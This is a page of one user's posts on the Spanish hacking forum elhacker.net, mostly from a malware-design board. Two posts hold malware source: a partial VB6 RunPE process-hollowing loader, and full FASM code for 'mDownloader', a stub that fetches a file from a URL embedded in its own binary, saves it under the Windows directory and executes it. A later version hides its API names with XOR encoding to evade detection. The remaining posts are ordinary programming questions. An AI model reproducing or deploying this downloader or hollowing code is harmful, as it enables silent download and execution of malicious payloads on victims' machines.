elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: 1 ... 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 [106] 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 ... 123
1051  Seguridad Informática / Análisis y Diseño de Malware / Re: Ayuda creacion RunPE VB6 en: 28 Enero 2011, 22:33 pm
Gracias, era ese el problema, me equivoque   :xD

Gracias  por la ayuda.



Kazte, hay muchisimos código sobre esto en la red, yo lo ago solo para aprender...

salu2!
1052  Seguridad Informática / Análisis y Diseño de Malware / Ayuda creacion RunPE VB6 en: 28 Enero 2011, 20:54 pm
Bueno, estoi intentando aprender como trabaja el loader de windows y me e puesto a hacer  un runPE, viendo como funcionan otros y tal despues de haber leido varias veces sobre el formato PE, pero tengo problemas, no me funciona correctamente el api NtUnmapViewOfSection ni VirtualAllocEx y nose porque no funcionan bien... el código que tengo es el siguiente:

Código
  1. Option Explicit
  2.  
  3. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)
  4. Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  5. Private Declare Function NtUnmapViewOfSection Lib "NTDLL.dll" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long) As Long
  6. Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  7.  
  8. Private Const CONTEXT_FULL As Long = &H10007
  9. Private Const MAX_PATH As Integer = 260
  10. Private Const CREATE_SUSPENDED As Long = &H4
  11. Private Const MEM_COMMIT As Long = &H1000
  12. Private Const MEM_RESERVE As Long = &H2000
  13. Private Const PAGE_EXECUTE_READWRITE As Long = &H40
  14.  
  15. Private Type PROCESS_INFORMATION
  16.    hProcess As Long
  17.    hThread As Long
  18.    dwProcessId As Long
  19.    dwThreadID As Long
  20. End Type
  21.  
  22. Private Type STARTUPINFO
  23.    cb As Long
  24.    lpReserved As Long
  25.    lpDesktop As Long
  26.    lpTitle As Long
  27.    dwX As Long
  28.    dwY As Long
  29.    dwXSize As Long
  30.    dwYSize As Long
  31.    dwXCountChars As Long
  32.    dwYCountChars As Long
  33.    dwFillAttribute As Long
  34.    dwFlags As Long
  35.    wShowWindow As Integer
  36.    cbReserved2 As Integer
  37.    lpReserved2 As Long
  38.    hStdInput As Long
  39.    hStdOutput As Long
  40.    hStdError As Long
  41. End Type
  42.  
  43. Private Type IMAGE_DOS_HEADER
  44.    e_magic As Integer
  45.    e_cblp As Integer
  46.    e_cp As Integer
  47.    e_crlc As Integer
  48.    e_cparhdr As Integer
  49.    e_minalloc As Integer
  50.    e_maxalloc As Integer
  51.    e_ss As Integer
  52.    e_sp As Integer
  53.    e_csum As Integer
  54.    e_ip As Integer
  55.    e_cs As Integer
  56.    e_lfarlc As Integer
  57.    e_ovno As Integer
  58.    e_res(0 To 3) As Integer
  59.    e_oemid As Integer
  60.    e_oeminfo As Integer
  61.    e_res2(0 To 9) As Integer
  62.    e_lfanew As Long
  63. End Type
  64.  
  65. Private Type IMAGE_FILE_HEADER
  66.    Machine As Integer
  67.    NumberOfSections As Integer
  68.    TimeDateStamp As Long
  69.    PointerToSymbolTable As Long
  70.    NumberOfSymbols As Long
  71.    SizeOfOptionalHeader As Integer
  72.    characteristics As Integer
  73. End Type
  74.  
  75. Private Type IMAGE_DATA_DIRECTORY
  76.    VirtualAddress As Long
  77.    Size As Long
  78. End Type
  79.  
  80. Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
  81.  
  82. Private Type IMAGE_OPTIONAL_HEADER
  83.    Magic As Integer
  84.    MajorLinkerVersion As Byte
  85.    MinorLinkerVersion As Byte
  86.    SizeOfCode As Long
  87.    SizeOfInitializedData As Long
  88.    SizeOfUnitializedData As Long
  89.    AddressOfEntryPoint As Long
  90.    BaseOfCode As Long
  91.    BaseOfData As Long
  92.    ImageBase As Long
  93.    SectionAlignment As Long
  94.    FileAlignment As Long
  95.    MajorOperatingSystemVersion As Integer
  96.    MinorOperatingSystemVersion As Integer
  97.    MajorImageVersion As Integer
  98.    MinorImageVersion As Integer
  99.    MajorSubsystemVersion As Integer
  100.    MinorSubsystemVersion As Integer
  101.    W32VersionValue As Long
  102.    SizeOfImage As Long
  103.    SizeOfHeaders As Long
  104.    CheckSum As Long
  105.    SubSystem As Integer
  106.    DllCharacteristics As Integer
  107.    SizeOfStackReserve As Long
  108.    SizeOfStackCommit As Long
  109.    SizeOfHeapReserve As Long
  110.    SizeOfHeapCommit As Long
  111.    LoaderFlags As Long
  112.    NumberOfRvaAndSizes As Long
  113.    DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
  114. End Type
  115.  
  116. Private Type IMAGE_NT_HEADERS
  117.    Signature As Long
  118.    FileHeader As IMAGE_FILE_HEADER
  119.    OptionalHeader As IMAGE_OPTIONAL_HEADER
  120. End Type
  121.  
  122. Const IMAGE_SIZEOF_SHORT_NAME = 8
  123.  
  124. Private Type IMAGE_SECTION_HEADER
  125.   SecName As String * IMAGE_SIZEOF_SHORT_NAME
  126.   VirtualSize As Long
  127.   VirtualAddress  As Long
  128.   SizeOfRawData As Long
  129.   PointerToRawData As Long
  130.   PointerToRelocations As Long
  131.   PointerToLinenumbers As Long
  132.   NumberOfRelocations As Integer
  133.   NumberOfLinenumbers As Integer
  134.   characteristics  As Long
  135. End Type
  136.  
  137. Public Function EjecutarPE(ByVal Ruta As String) As Boolean
  138.    On Error GoTo error
  139.  
  140.    Dim IDH As IMAGE_DOS_HEADER
  141.    Dim INH As IMAGE_NT_HEADERS
  142.    Dim ISH() As IMAGE_SECTION_HEADER
  143.    Dim IDD As IMAGE_DATA_DIRECTORY
  144.  
  145.    Dim Datos() As Byte
  146.  
  147.    ReDim Datos(FileLen(Ruta))
  148.  
  149.    Open Ruta For Binary As #1
  150.        Get #1, , Datos
  151.    Close #1
  152.  
  153.    Call CopyMemory(IDH, Datos(0), Len(IDH))
  154.    Call CopyMemory(INH, Datos(IDH.e_lfanew), Len(INH))
  155.  
  156.    Dim MYe_lfanew As Long: MYe_lfanew = IDH.e_lfanew
  157.    Dim MYImageBase As Long: MYImageBase = INH.OptionalHeader.ImageBase
  158.    Dim MYSizeOfImage As Long: MYSizeOfImage = INH.OptionalHeader.SizeOfImage
  159.    Dim MYSizeOfHeaders As Long: MYSizeOfHeaders = INH.OptionalHeader.SizeOfHeaders
  160.    Dim MYAddressOfEntryPoint As Long: MYAddressOfEntryPoint = INH.OptionalHeader.AddressOfEntryPoint
  161.    Dim MYNumberOfSections As Integer:  MYNumberOfSections = INH.FileHeader.NumberOfSections
  162.    Dim MYVirtualAddress As Long
  163.    Dim MYPointerToRawData As Long
  164.    Dim MYSizeOfRawData As Long
  165.  
  166.    Dim ManijaProceso As Long
  167.    Dim pi As PROCESS_INFORMATION
  168.    Dim si As STARTUPINFO
  169.    Dim NTUN As Long
  170.    Dim Espacio As Long
  171.    Dim IdProc As Long
  172.  
  173.    Call CreateProcessA(App.Path & "\" & App.EXEName & ".exe", 0, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi)
  174.    ManijaProceso = pi.dwProcessId
  175.  
  176.    NTUN = NtUnmapViewOfSection(ManijaProceso, MYImageBase)
  177.  
  178.    Espacio = VirtualAllocEx(ManijaProceso, MYImageBase, MYSizeOfImage, &H1000& Or &H2000&, &H40)
  179.  
  180.    Exit Function
  181. error:
  182.    EjecutarPE = False
  183. End Function
  184.  
  185.  
  186.  

Agradeceria que alguien me dijese que ago mal.

salu2!
1053  Programación / ASM / Re: Existe algun ensamblador que maneje los flotantes? en: 18 Diciembre 2010, 15:07 pm
ya que salio el tema aprovecho para preguntar como puedo redondear un numero en fasm  :huh:

salu2!
1054  Programación / Programación C/C++ / Re: me podeis decir Como calcular salto apihook? en: 16 Diciembre 2010, 22:03 pm
Tambien te puedes leer el tutorial de EON sobre como crear rootkits, en una parte del tutorial explica perfectamente como averiguarlo.

salu2!
1055  Seguridad Informática / Análisis y Diseño de Malware / Re: mDownloader en: 16 Diciembre 2010, 17:09 pm
Bueno, aqui esta el código mejorado:

Código
  1. include 'win32ax.inc'
  2.  
  3. .data
  4.    manija dd ?
  5.    larchivo dd ?
  6.    espacio dd ?
  7.    bleidos dd ?
  8.    dll db 'rukjhi)ckk',0
  9.    funcion db 'RUKChpikhfcShAnkbF',0
  10.    añadir db '%windir%\archivo.exe',0
  11.    ruta dd ?
  12.  
  13. .code
  14. start:
  15.        xor  eax, eax
  16.        mov  eax, [FS:eax+0x30]
  17.        mov  eax, [DS:eax+0x10]
  18.        mov  eax, [DS:eax+0x3C]
  19.  
  20.        invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
  21.        mov [manija],eax
  22.        invoke GetFileSize,[manija],0
  23.        mov [larchivo],eax
  24.        invoke GlobalAlloc,GPTR,[larchivo]
  25.        mov [espacio],eax
  26.        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
  27.        invoke CloseHandle,[manija]
  28.  
  29.        mov ecx,1
  30.        mov eax,[espacio]
  31.        add [larchivo],10
  32.        bucle:
  33.  
  34.            .if byte[eax+ecx] = '#'
  35.                inc ecx
  36.                .if byte[eax+ecx] = '#'
  37.                    inc ecx
  38.                    .if byte[eax+ecx] = '#'
  39.                        inc ecx
  40.                        add eax,ecx
  41.                        mov [espacio],eax
  42.                        jmp salir
  43.                    .endif
  44.                    dec ecx
  45.                .endif
  46.                dec ecx
  47.             .endif
  48.  
  49.             .if ecx > [larchivo]
  50.                 jmp salir
  51.             .endif
  52.  
  53.             inc ecx
  54.             jmp bucle
  55.  
  56.        salir:
  57.  
  58.        invoke GlobalAlloc,GPTR,1024
  59.        mov [ruta],eax
  60.        invoke ExpandEnvironmentStrings,añadir,[ruta],1024
  61.  
  62.        stdcall Cifrar,dll
  63.        invoke LoadLibrary,eax
  64.  
  65.        push eax
  66.        stdcall Cifrar,funcion
  67.        mov ecx,eax
  68.        pop eax
  69.  
  70.        invoke GetProcAddress,eax,ecx
  71.  
  72.        push 0
  73.        push 0
  74.        push [ruta]
  75.        push [espacio]
  76.        push 0
  77.  
  78.        call eax
  79.  
  80.        invoke ShellExecute,0,"open",[ruta],0,0,0
  81.  
  82.        leave
  83.        ret
  84.  
  85.        proc Cifrar,Cadena
  86.            xor ecx,ecx
  87.            mov eax,[Cadena]
  88.            .bucle:
  89.                .if byte[eax+ecx] = 0
  90.                    jmp .salir
  91.                .endif
  92.                xor byte[eax+ecx],7
  93.                inc ecx
  94.                jmp .bucle
  95.            .salir:
  96.            ret
  97.         endp
  98. .end start    

Había leido sobre la estructura PEB  y habia visto ese código tuyo en otro post de yst sino recuerdo mal.. XD

Bueno, no e mejorado lo de encontrar la firma que separa porque creo que así se adapta mas a lo que yo quiero y puedo añadir una firma con la longitud que quiera.

salu2!
1056  Seguridad Informática / Análisis y Diseño de Malware / Re: mDownloader en: 16 Diciembre 2010, 00:16 am
Umm, tienes razón Karcrack  :-*. Mañana mejoro el código y lo posteo jeje

salu2!
1057  Seguridad Informática / Análisis y Diseño de Malware / mDownloader en: 15 Diciembre 2010, 20:31 pm
Bueno, aqui les traigo el código de un downloader uqe e creado en fasm :P, solo dejo el código del Stub que es lo interesante jeje.

Código
  1. ;Stub de mDownloader
  2. ;Codeado por Drinky94 en diciembre de 2010
  3. ;www.drinky94. artehack .net
  4. include 'win32ax.inc'
  5.  
  6. .data
  7.    ruta dd ?
  8.    manija dd ?
  9.    larchivo dd ?
  10.    espacio dd ?
  11.    bleidos dd ?
  12.    dll db 'urlmon.dll',0
  13.    funcion db 'URLDownloadToFileA',0
  14.    mUrl dd ?
  15.    dlls db 'msvcrt.dll',0
  16.    funcions db 'getenv',0
  17.    shell dd ?
  18.    user db 'windir',0
  19.    añadir db '\archivo.exe',0
  20.    destino dd ?
  21.  
  22.  
  23. .code
  24. start:
  25.  
  26.        invoke GlobalAlloc,GPTR,1024
  27.        mov [ruta],eax
  28.        invoke GetModuleFileName,0,[ruta],1024
  29.  
  30.        invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
  31.        mov [manija],eax
  32.        invoke GetFileSize,[manija],0
  33.        mov [larchivo],eax
  34.        invoke GlobalAlloc,GPTR,[larchivo]
  35.        mov [espacio],eax
  36.        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
  37.        invoke CloseHandle,[manija]
  38.  
  39.        mov ecx,1
  40.        mov eax,[espacio]
  41.        add [larchivo],10
  42.        bucle:
  43.  
  44.            .if byte[eax+ecx] = '#'
  45.                inc ecx
  46.                .if byte[eax+ecx] = '#'
  47.                    inc ecx
  48.                    .if byte[eax+ecx] = '#'
  49.                        inc ecx
  50.                        add eax,ecx
  51.                        mov [espacio],eax
  52.                        jmp salir
  53.                    .endif
  54.                    dec ecx
  55.                .endif
  56.                dec ecx
  57.             .endif
  58.  
  59.             .if ecx > [larchivo]
  60.                 jmp salir
  61.             .endif
  62.  
  63.             inc ecx
  64.             jmp bucle
  65.  
  66.        salir:
  67.  
  68.        invoke LoadLibrary,dlls
  69.        invoke GetProcAddress,eax,funcions
  70.        mov [shell],eax
  71.  
  72.        push user
  73.        call [shell]
  74.  
  75.        invoke lstrcat,eax,añadir
  76.        mov [destino],eax
  77.  
  78.        invoke LoadLibrary,dll
  79.        invoke GetProcAddress,eax,funcion
  80.        mov [mUrl],eax
  81.  
  82.        push 0
  83.        push 0
  84.        push [destino]
  85.        push [espacio]
  86.        push 0
  87.  
  88.        call [mUrl]
  89.  
  90.        invoke ShellExecute,0,"open",[destino],0,0,0
  91.  
  92.       leave
  93.       ret
  94. .end start                        

Espero que a alguien le sirva :P

salu2!
1058  Programación / Programación General / Re: [Ehn-Dev 2010] - Votaciones!!! en: 1 Diciembre 2010, 14:29 pm
HearBlocDeNotas me parecio realmente util.

salu2!
1059  Programación / Programación C/C++ / Re: Matriz en C++ en: 26 Noviembre 2010, 19:32 pm
Azte una funcion que no es tan dificil...

salu2!
1060  Programación / Programación C/C++ / Re: Error con el manejo de send y recv en: 26 Noviembre 2010, 19:30 pm
Esque estas usando mal los sockets, no se pueden usar api asi como asi conectar y enviar.

Mirate el tutorial de winsock de mazard, lo puedes encontrar en su web (www.mazard.info)

salu2!
Páginas: 1 ... 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 [106] 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 ... 123
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines